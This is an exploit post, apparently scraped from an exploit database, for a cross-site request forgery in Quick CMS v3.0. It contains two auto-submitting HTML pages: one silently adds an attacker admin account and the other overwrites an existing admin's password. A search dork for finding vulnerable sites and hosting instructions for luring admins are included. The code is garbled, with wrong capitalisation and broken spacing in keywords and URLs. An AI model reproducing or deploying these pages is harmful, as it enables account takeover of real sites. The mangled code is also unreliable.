# (+) Exploit Title: Quick CMS v3.0 Cross Site Request Forgery (Add Admin User)
# (+) Author: ^ Xecuti0n3r
# (+) E-mail: xecuti0n3r () yahoo.com
# (+) Category: Web Apps [XSRF]
# (+) Dork: intext: "Quick. Cms v3.0" inurl: admin. php
# (+) Demo CMS Link: http://opensolution.org/Quick.Cms
1 ####################################### #1
0 Im ^ Xecuti0n3r member from Inj3ct0r Team 1
1 ####################################### #0
0-=- =-1
# All you have to do is save the below code as exploit.html
# Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# Will automatically add the attacker as Admin without warning ;)
____________________________________________________________________
____________________________________________________________________
Code:
<! Doctype html public "-// W3C // dtd html 4.01 Transitional // EN">
<Html>
<Head>
<Title> Quick CMS v3.0 Cross Site Request Forgery (Add Admin User) </title>
</Head>
<Body onload = "javascript: fireForms ()">
<Script language = "JavaScript">
Function fireForms ()
{
Var count = 2;
Var I = 0;
For (I = 0; I <count; I ++)
{
Document. forms [I]. submit ();
}
}
</Script>
<H2> Quick CMS v3.0 Cross Site Request Forgery (Add Admin User) </H2>
<Form method = "POST" name = "form0" action = "http://www.bkjia.com/admin.php? P = users-form & iUser = ">
<Input type = "hidden" name = "iUser" value = ""/>
<Input type = "hidden" name = "sLoginOld" value = ""/>
<Input type = "hidden" name = "sOptionList" value = "save and go to the list»"/>
<Input type = "hidden" name = "sLogin" value = "admin3"/>
<Input type = "hidden" name = "sPass" value = "admin2"/>
<Input type = "hidden" name = "sFirstName" value = "Admin2"/>
<Input type = "hidden" name = "sLastName" value = "Admin2"/>
<Input type = "hidden" name = "sCompanyName" value = "zzzzzzz"/>
<Input type = "hidden" name = "sStreet" value = "ZZZZZZZZ"/>
<Input type = "hidden" name = "sZipCode" value = "99999"/>
<Input type = "hidden" name = "sCity" value = "ZZZZZZ"/>
<Input type = "hidden" name = "sPhone" value = "9999999993"/>
<Input type = "hidden" name = "sEmail" value = "attacker@jojo.com"/>
</Form>
</Form>
</Body>
</Html>
Edit user:
# All you have to do is save the below code as exploit.html
# Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# Will automatically add the attacker as Admin without warning ;)
____________________________________________________________________
____________________________________________________________________
Code:
<! Doctype html public "-// W3C // dtd html 4.01 Transitional // EN">
<Html>
<Head>
<Title> Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details) </title>
</Head>
<Body onload = "javascript: fireForms ()">
<Script language = "JavaScript">
Function fireForms ()
{
Var count = 2;
Var I = 0;
For (I = 0; I <count; I ++)
{
Document. forms [I]. submit ();
}
}
</Script>
<H2> Quick CMS v3.0 Cross Site Request Forgery (Edit Existing Admin details) </H2>
<Form method = "POST" name = "form0" action = "http://www.bkjia.com/admin.php? P = admins-form ">
<Input type = "hidden" name = "iAdmin" value = "1"/>
<Input type = "hidden" name = "iLastLogin" value = "0"/>
<Input type = "hidden" name = "iBeforeLastLogin" value = "0"/>
<Input type = "hidden" name = "sOptionList" value = "save and go to the list of saved tables"/>
<Input type = "hidden" name = "sLogin" value = "demo"/>
<Input type = "hidden" name = "aPrivilagesForm [p-list]" value = "1"/>
<Input type = "hidden" name = "aPrivilagesForm [p-form]" value = "1"/>
<Input type = "hidden" name = "sPass" value = "newpassword"/>
<Input type = "hidden" name = "sName" value = "John Doe"/>
<Input type = "hidden" name = "sEmail" value = "john@doe.com"/>
<Input type = "hidden" name = "sSignature" value = "JD"/>
</Form>
</Form>
</Body>
</Html>
######################################## ################################
(+) Exploit Coded by: ^ Xecuti0N3r
(+) Special Thanks to: MaxCaps, d3M0l! TioN3r, aninstitutes! LatioN3r
(+) Gr33ts to: Inj3ct0r Operators Team: r0073r * Sid3 ^ effectS * r4dc0re (www.1337day.com) + All the 31337 Members :)
(+) <3 to: Indian Cyber Army & Indishell Crew
######################################## ################################